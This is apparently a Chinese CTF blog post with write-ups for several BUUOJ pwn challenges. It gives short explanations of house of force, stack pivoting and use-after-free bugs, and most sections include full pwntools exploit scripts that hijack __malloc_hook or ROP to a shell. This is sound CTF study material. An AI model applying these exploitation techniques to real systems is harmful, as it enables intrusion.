登录后台

页面导航

本文编写于 268 天前,最后修改于 86 天前,其中某些信息可能已经过时。

题目的复现在buuoj上

force

只有add函数,会返回堆地址,所以可以分别利用超大chunk和正常chunk得到libc & heap地址。

然后再利用house of force将top chunk移动到malloc hook即可。

这个链接里的师傅在BUUOJ平台下面能跑通,我写的exp只能本地跑通,注意第一步add的chunk的大小,利用方式不同

https://blog.csdn.net/seaaseesa/article/details/104517111

# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
debug = 1
elf = ELF('pwn')

if debug:
    sh = process('./pwn')
    libc = elf.libc
else:
    sh = remote('node3.buuoj.cn', 25793)
    libc = ELF('1664.so')
def add(size,data):
    sh.recvuntil('2:puts\n')
    sh.sendline(str(1))
    sh.recvuntil('size\n')
    sh.sendline(str(size))
    sh.recvuntil('bin addr ')
    heap_addr = sh.recv(14)
    sh.recvuntil('content\n')
    sh.sendline(str(data))
    return int(heap_addr,16)
libc_base = add(0x20000,'0') - 0x5af010
heap_base = add(0x10,'\x00'*0x18+p64(0xffffffffffffffff)) - 0x10
log.success('libc_base: '+hex(libc_base))
log.success('heap_addr: '+hex(heap_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc_hook = libc_base + libc.sym['__realloc_hook']
realloc = libc_base + libc.sym['realloc']

top_chunk = heap_base + 0x20
size = malloc_hook-top_chunk-0x30
add(size,'111')
one = libc_base + 0x4526a
add(0x10,p64(0)+p64(one)+p64(realloc+4))
sh.recvuntil('2:puts\n')
sh.sendline(str(1))
sh.recvuntil('size\n')
sh.sendline(str(16))
#gdb.attach(sh)
sh.interactive()

borrowstack

两次输入,第一次输入到栈上,存在溢出,但溢出空间有限,不够我们利用rop

第二次输入到bss数据段,所以利用的思路就是栈迁移到bss数据段,泄露出来libc再onegadget

from pwn import *
debug = 0
elf = ELF('borrowstack')

if debug:
    sh = process('./borrowstack')
    libc = elf.libc
else:
    sh = remote('node3.buuoj.cn', 29771)
    libc = ELF('1664.so')
pop_rdi = 0x400703
bank = 0x601080
leave_ret = 0x400699
main = 0x400626
sh.recvuntil('want\n')
sh.send('a'*0x60+p64(bank+0x40)+p64(leave_ret))
sh.recvuntil('now!\n')

payload1 = p64(0x6010b8)
payload1 += p64(0) * 8
payload1 += p64(0x400703)    #pop rdi;ret
payload1 += p64(elf.got['puts'])
payload1 += p64(elf.plt['puts'])
payload1 += p64(0x4006fa)    #pop rbx; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
payload1 += p64(0)
payload1 += p64(1)
payload1 += p64(elf.got['read'])
payload1 += p64(0x100)
payload1 += p64(0x6010c0)
payload1 += p64(0)
payload1 += p64(0x4006E0)    #mov rdx,r13; mov rsi,r14; mov rdi,r15;ret
payload1 += p64(0)*2
payload1 += p64(0x6010b8)
payload1 += p64(0)*4
payload1 += p64(0x400699)
sh.send(payload1)

libc_base = u64(sh.recv(6).ljust(8,'\x00')) - libc.symbols['puts']
sh.send(p64(libc_base+0xf02a4))
sh.interactive()

exceting

存在很明显的uaf漏洞,且没开pie,而且程序刚开始将flag加载到bss数据段,因此可以直接读取flag

from pwn import *
context.log_level = 'debug'
debug = 0
elf = ELF('exceting')

if debug:
    sh = process('./exceting')
    libc = elf.libc
else:
    sh = remote('node3.buuoj.cn', 28942)
    libc = ELF('1664.so')


def add(ba_len,ba,na_len,na):
    sh.sendlineafter('do :',str(1))
    sh.recvuntil('length : ')
    sh.sendline(str(ba_len))
    sh.recvuntil('ba : ')
    sh.send(str(ba))
    sh.recvuntil('length : ')
    sh.sendline(str(na_len))
    sh.recvuntil('na : ')
    sh.send(str(na))

def show(idx):
    sh.sendlineafter('do :',str(4))
    sh.recvuntil('ID : ')
    sh.sendline(str(idx))

def delete(idx):
    sh.sendlineafter('do :',str(3))
    sh.recvuntil('ID : ')
    sh.sendline(str(idx))
add(0x60,'a',0x60,'a')
add(0x60,'b',0x60,'b')
delete(0)
show(0)
sh.recvuntil('na is ')
heap_addr = u64(sh.recv(4).ljust(8,'\x00'))
delete(1)
delete(0)
add(0x60,p64(0x60202d)*2,0x60,p64(0x60202d))
add(0x60,p64(0x6020A8)*2,0x60,'c')
add(0x60,'aaa'+p64(heap_addr+0x110),0x50,'d')
show(0)
sh.interactive()

some_thing_interesting

很简单的uaf漏洞,刚开始做复杂了,还泄露出堆的地址。。。

from pwn import *
#context.log_level = 'debug'
debug = 0
elf = ELF('interesting')

if debug:
    sh = process('./interesting')
    libc = elf.libc
else:
    sh = remote('node3.buuoj.cn',26944)
    libc = ELF('1664.so')


def add(o_len,o,re_len,re):
    sh.sendlineafter('do :',str(1))
    sh.recvuntil('length : ')
    sh.sendline(str(o_len))
    sh.recvuntil('O : ')
    sh.send(str(o))
    sh.recvuntil('length : ')
    sh.sendline(str(re_len))
    sh.recvuntil('RE : ')
    sh.send(str(re))

def edit(idx,o,re):
    sh.sendlineafter('do :',str(2))
    sh.recvuntil('ID : ')
    sh.sendline(str(idx))
    sh.recvuntil('O : ')
    sh.send(str(o))
    sh.recvuntil('RE : ')
    sh.send(str(re))

def show(idx):
    sh.sendlineafter('do :',str(4))
    sh.recvuntil('ID : ')
    sh.sendline(str(idx))

def delete(idx):
    sh.sendlineafter('do :',str(3))
    sh.recvuntil('ID : ')
    sh.sendline(str(idx))
sh.recvuntil('please:')
sh.sendline('OreOOrereOOreO')
add(0x68,'a'*0x68,0x68,'a'*0x68)
add(0x68,'b'*0x68,0x68,'b'*0x68)
delete(1)
edit(1,p64(0)*3+p64(0x71),'\x20')
add(0x68,'c'*0x68,0x68,'c'*0x40)
delete(1)
#leak heap_addr
#edit(3,'\x01','c')
#show(3)
#sh.recvuntil("oreo's O is ")
#heap_addr = u64(sh.recv(6).ljust(8,'\x00')) - 0x1
#log.success('heap_addr: '+hex(heap_addr))
edit(3,'\x00','c'*0x48+p64(0xe1))
delete(1)
show(3)
sh.recvuntil("oreo's O is ")
libc_addr = u64(sh.recv(6).ljust(8,'\x00')) - 88 - 0x3c4b20
log.success('libc_addr: '+hex(libc_addr))
edit(3,'\x78','c'*0x48+p64(0x71))
delete(2)
delete(1)
delete(2)
add(0x68,p64(libc_addr+libc.symbols['__malloc_hook']-0x23)*2,0x68,p64(libc_addr+libc.symbols['__malloc_hook']-0x23)*2)
add(0x68,'aaa',0x68,'aaa')
add(0x68,'aaa'+p64(0)*2+p64(libc_addr+0xf1147),0x68,'aaa'+p64(0)*2+p64(libc_addr+0xf1147))
sh.sendlineafter('do :',str(1))
sh.recvuntil('length : ')
sh.sendline(str(16))
sh.interactive()

gyctf_2020_signin

存在uaf漏洞,堆的大小固定是0x70

from pwn import *
import time
context.log_level = 'debug'
debug = 1
elf = ELF('pwn')

if debug:
    sh = process('./pwn')
    libc = elf.libc
else:
    sh = remote('node3.buuoj.cn',29966)
    libc = ELF('2764.so')


def add(idx):
    sh.sendlineafter('choice?',str(1))
    sh.recvuntil('idx?\n')
    sh.send(str(idx))


def backdoor(idx):
    sh.sendlineafter(' choice : ',str(6))
    sh.recvuntil('index : \n')
    sh.send(str(idx))

def edit(idx,content):
    sh.sendlineafter('choice?',str(2))
    sh.recvuntil('idx?\n')
    sh.send(str(idx))
    sleep(0.2)
    sh.send(str(content))

def delete(idx):
    sh.sendlineafter('choice?',str(3))
    sh.recvuntil('idx?\n')
    sh.send(str(idx))
for i in range(8):
    add(i)
for i in range(8):
    delete(i)
add(8)
edit(7,p64(0x4040B0))

sh.interactive()

gyctf_2020_document

https://blog.csdn.net/seaaseesa/article/details/104531134

注意一下,buuoj上是ubuntu16的环境,比赛的时候是ubuntu19的

gyctf_2020_bfnote

解法一:修改TLS结构来bypass canary

https://blog.csdn.net/seaaseesa/article/details/104479071

解法二:利用mprotect函数修改bss数据段权限执行sellcode

https://mp.weixin.qq.com/s/VGeXpVnWqXxsxiuPTHCj1Q

解法三:栈迁移+ret2dl

https://xz.aliyun.com/t/7281#toc-13